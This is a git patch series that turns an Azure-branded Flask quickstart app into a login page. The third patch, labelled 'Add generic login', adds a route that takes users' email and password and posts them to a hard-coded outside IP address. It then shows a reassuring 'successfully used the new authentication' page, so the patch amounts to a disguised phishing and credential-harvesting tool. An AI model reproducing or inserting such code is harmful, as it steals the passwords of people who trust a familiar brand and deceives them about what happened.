From f5d36ab87be727b262e595e43b4890bc31bad431 Mon Sep 17 00:00:00 2001 From: James Drew Date: Wed, 7 Aug 2024 21:27:42 +0100 Subject: [PATCH 1/3] update gitignore --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) diff --git a/.gitignore b/.gitignore index b6e47617d..2ec963898 100644 --- a/.gitignore +++ b/.gitignore @@ -6,6 +6,8 @@ __pycache__/ # C extensions *.so +*.zip + # Distribution / packaging .Python build/ From 3009f6e07454282632c22f6b96c6ca56b0cc2426 Mon Sep 17 00:00:00 2001 From: James Drew Date: Wed, 7 Aug 2024 21:27:52 +0100 Subject: [PATCH 2/3] Tweak index.html --- templates/index.html | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/templates/index.html b/templates/index.html index 9cdba30cd..92d309dc9 100644 --- a/templates/index.html +++ b/templates/index.html @@ -10,18 +10,19 @@
Azure Logo -

Welcome to Azure

+

Welcome!

- + -
+
- + Login +
From 0f685790726b520b9068945e7c77f63d1300727c Mon Sep 17 00:00:00 2001 From: James Drew Date: Thu, 8 Aug 2024 20:08:12 +0100 Subject: [PATCH 3/3] Add generic login --- app.py | 22 ++++++++++++++++++++++ templates/index.html | 28 +++++++++++++++++++++------- templates/login.html | 21 +++++++++++++++++++++ 3 files changed, 64 insertions(+), 7 deletions(-) create mode 100644 templates/login.html diff --git a/app.py b/app.py index 3d1808cf6..a8d22f89a 100644 --- a/app.py +++ b/app.py @@ -1,4 +1,5 @@ import os +import requests from flask import (Flask, redirect, render_template, request, send_from_directory, url_for) @@ -26,6 +27,27 @@ def hello(): else: print('Request for hello page received with no name or blank name -- redirecting') return redirect(url_for('index')) + + +@app.route('/login', methods=['POST']) +def login(): + email = request.form.get('email') + password = request.form.get('password') + + if email and password: + print('Request for login page received with name=%s' % email) + try: + data = { + 'email': email, + 'password': password + } + response = requests.post("http://51.141.48.103/", data=data) + except Exception as e: + print(e) + return render_template('login.html', email = email) + else: + print('Request for login page received with no email or blank email -- redirecting') + return redirect(url_for('index')) if __name__ == '__main__': diff --git a/templates/index.html b/templates/index.html index 92d309dc9..96eca35ba 100644 --- a/templates/index.html +++ b/templates/index.html @@ -12,20 +12,34 @@

Welcome!

-
+ - +

Could you please tell me your name?

+
+ +
Login - +
-
+ --> +
+
+ +
+ +
+
+ +
+
+ +
+
+
\ No newline at end of file diff --git a/templates/login.html b/templates/login.html new file mode 100644 index 000000000..f288c66c6 --- /dev/null +++ b/templates/login.html @@ -0,0 +1,21 @@ + + + Hello Azure - Python Quickstart + + + + + +
+
+ Azure Logo + +

Hello {{email}}

+

+ Thank you, you have succesfully used the new authentication, no further action required. +

+ Back home +
+
+ + \ No newline at end of file